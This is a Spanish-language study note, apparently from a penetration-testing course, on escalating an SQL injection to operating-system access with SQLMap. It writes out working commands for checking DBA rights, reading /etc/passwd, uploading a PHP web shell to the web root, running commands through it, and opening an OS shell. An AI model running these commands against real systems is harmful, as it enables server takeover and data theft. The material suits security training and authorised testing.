🖥️ Explotación del Sistema Operativo con SQLMap

📘 Fundamentos de SQLMap

Esta sección explica cómo escalar una SQL Injection hasta interactuar con el sistema operativo del servidor.


🎯 Objetivo de esta fase

Cuando explotamos una SQLi, el objetivo final no es solo leer bases de datos, sino:

SQLMap automatiza todas estas fases si tenemos los privilegios necesarios.


📂 Lectura y escritura de archivos

🧠 Idea clave

Info

SQLMap puede usar la SQLi para interactuar con archivos fuera del DBMS, es decir, archivos del sistema operativo.

⚠️ Leer archivos es mucho más común que escribirlos, ya que escribir puede llevar a ejecución remota de comandos.


🔐 Privilegios necesarios (MySQL)

En MySQL, para leer archivos locales:

📌 En DBMS modernos, cada vez es más común que solo el DBA pueda hacerlo.


👑 Comprobación de privilegios DBA

Antes de intentar leer o escribir archivos, debemos comprobar si somos DBA.

🛠️ Comando

sqlmap -u "http://<IP>:PUERTO/?id=1" --is-dba

🧠 Interpretación del resultado

Tip

Siempre comprueba esto antes de intentar --file-read o --os-shell.


📖 Lectura de archivos locales

🧠 Qué estamos haciendo realmente

SQLMap automatiza consultas como:

Todo esto sin escribir SQL manualmente.


🛠️ Leer /etc/passwd

sqlmap -u "http://<IP>:PUERTO/?id=1" --file-read "/etc/passwd"

{E3798F7C-7486-4E7B-8384-09D8C622DA98}.png


📦 Resultado

📌 Podemos leerlo como cualquier archivo local.


Esto confirma lectura de archivos del sistema operativo.


✍️ Escritura de archivos locales (Web Shell)

⚠️ Fase crítica

Escribir archivos puede llevar a control total del servidor.


🧠 Por qué está restringido

En MySQL:


🐚 Crear un Web Shell PHP

Pasted image 20251217180707.png

📌 Este archivo permite ejecutar comandos vía URL.


🛠️ Subir el archivo al servidor

sqlmap -u "http://<IP>:PUERTO/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

🧠 Qué hace SQLMap aquí

  1. Usa la SQLi

  2. Escribe el archivo en el sistema

  3. Comprueba que el tamaño coincide

  4. Confirma que la escritura fue exitosa


El archivo fue escrito correctamente.


🌐 Ejecutar comandos remotamente

Accedemos desde el navegador o con curl:

http://<IP>:PUERTO/shell.php?cmd=ls+-la
{1C1A6AA4-73BA-45A8-8C9F-6D427A4FA9F4}.png
📌 El comando se ejecuta en el servidor remoto.


🧑‍💻 Shell del sistema operativo con SQLMap

Info

SQLMap puede darnos una shell interactiva sin crear manualmente un web shell.


🛠️ Obtener OS Shell automática

sqlmap -u "http://<IP>:PUERTO/?id=1" --os-shell


🧠 Qué intenta SQLMap

A veces no devuelve output, dependiendo de la técnica usada.


🎯 Forzar técnica más fiable (Error-based)

sqlmap -u "http://<IP>:PUERTO/?id=1" --os-shell --technique=E

🧠 Por qué funciona mejor


🧭 Preguntas interactivas de SQLMap

Durante el proceso, SQLMap puede preguntar:

📌 Todo esto se responde automáticamente con --batch.


✅ Resultado final

Se obtiene una shell remota interactiva
Capaz de ejecutar comandos del sistema operativo.
{7BDD59E7-D983-4289-8892-2318C718158A}.png


🧠 Resumen mental rápido

🧩 Flujo de explotación

1️⃣ SQLi confirmada
2️⃣ Comprobar DBA (--is-dba)
3️⃣ Leer archivos (--file-read)
4️⃣ Escribir archivos (--file-write)
5️⃣ Obtener shell (--os-shell)


🎯 Conclusión final

🏁

SQLMap no es solo una herramienta de dumping de bases de datos.
Bien usada, permite:

  • Escalar una SQLi

  • Interactuar con el sistema operativo

  • Obtener ejecución remota de comandos

  • Comprometer completamente el servidor